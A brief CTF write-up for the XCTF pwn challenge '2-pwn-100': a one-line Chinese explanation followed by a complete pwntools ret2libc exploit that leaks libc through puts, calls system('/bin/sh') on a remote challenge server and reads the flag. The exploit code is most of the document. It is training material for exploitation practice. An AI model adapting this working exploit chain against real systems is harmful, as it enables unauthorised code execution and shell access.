[XCTF-pwn] 2-pwn-100

这个题直接有溢出，溢出到return写上puts(got[puts])+main,得到libc再回来，再system(/bin/sh)

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('111.200.241.244', 53462)

elf = ELF('./pwn')
context(arch='amd64', log_level='debug')

pop_rdi = 0x0000000000400763 # pop rdi ; ret

payload = flat(b'A'*(0x40+8), pop_rdi, elf.got['puts'], elf.plt['puts'], 0x40068e)
p.send(payload.ljust(200, b'A'))
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x06f690
print('libc:', hex(libc_base))
system = libc_base + 0x045390
bin_sh = libc_base + 0x18cd57
payload = flat(b'A'*(0x40+8), pop_rdi, bin_sh, system, 0x40068e)
p.send(payload.ljust(200, b'A'))

sleep(0.2)
p.sendline(b'cat /flag')
p.interactive()